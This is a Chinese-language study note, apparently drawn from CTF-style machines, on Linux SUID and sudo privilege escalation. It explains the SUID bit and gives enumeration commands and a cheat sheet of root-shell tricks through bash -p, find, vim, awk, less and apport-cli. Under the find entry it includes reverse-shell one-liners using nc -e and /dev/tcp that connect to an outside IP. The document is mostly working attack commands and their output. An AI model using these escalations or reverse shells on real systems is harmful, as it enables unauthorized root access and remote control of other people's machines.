SUID

仅做学习记录用

SUID原理

SUID旨在解决如何让普通用户执行root才能执行的命令 对于这个bash而言

augustus@GoodGames:~$ ls -la bash
-rwxr-xr-x 1 augustus augustus 1234376 Sep  6 03:22 bash

这就是一个很普通的bash 权限列表也是常见的rwx 而且是一个很常规的用户bash 但是经过如下的操作之后就变成了一个可以SUID提权的bash

root@3a453ab39d3d:~# chown root:root /home/augustus/bash 
root@3a453ab39d3d:~# chmod 4777 /home/augustus/bash 
root@3a453ab39d3d:~# cd /home/augustus/
root@3a453ab39d3d:/home/augustus# ls -al bash 
-rwsrwxrwx 1 root root 1234376 Sep  6 02:22 bash 

先是将用户的这个bash所有者改为root 再赋予4777权限 4‌表示设置 SUID特殊权限 当文件被设置为SUID时 其他用户执行该文件时会临时拥有文件所有者的权限 777代表赋予其他用户可执行的权限

  • augustus 对于这个bash有执行权限(777了)
  • bash所有者为root

因此augustus用户可以执行这个bash 并使用-p参数即可以root来执行 至此完成SUID提权

augustus@GoodGames:~$ ./bash -p
bash-5.1# cat /root/root.txt 
9e6c801a78a34c84067aabeef3737c03

搜集

两种不同的方法寻找 一种是直接匹配权限位是否带有s(或4开头)

find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -print 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} ;

另一种是用getcap命令查询特殊的SUID

getcap -r

最经常用的还是sudo

sudo -l

常用提权

find

# shell
find /etc/passwd -exec '/bin/sh' \;

# 反弹shell
find /etc/passwd -exec nc -e /bin/bash x.x.x.x port \;
find /etc/passwd -exec bash -c 'bash -i >& /dev/tcp/114.xxx.xxx.96/4444 0>&1' \;

vim

进入 vim 命令模式 通过 vim 拿到 shell

:set shell = '/bin/sh'
:shell

bash

赋予SUID权限之后

bash -p

less/more

在出现以下提示后 输入!ls 即可执行

WARNING: terminal is not fully functional
-  (press RETURN)!ls
!llss!ls
CHANGELOG     core    maltrail-sensor.service  plugins           thirdparty
CITATION.cff  docker  maltrail-server.service  requirements.txt  trails
LICENSE       h       maltrail.conf            sensor.py
README.md     html    misc  

awk

awk 'BEGIN {system("/bin/bash")}'

apport

没崩溃文件那可以先制造一个

logan@devvortex:/var/crash$ sleep 20 &
[1] 2761
logan@devvortex:/var/crash$ kill -ABRT 2761
logan@devvortex:/var/crash$ ls
_usr_bin_sleep.1000.crash
[1]+  Aborted                 (core dumped) sleep 20

然后再进行利用

logan@devvortex: sudo /usr/bin/apport-cli -c /var/crash/_usr_bin_sleep.1000.crash
press V (view report)
!/bin/bash(直接输入 不用管屏幕显示的什么)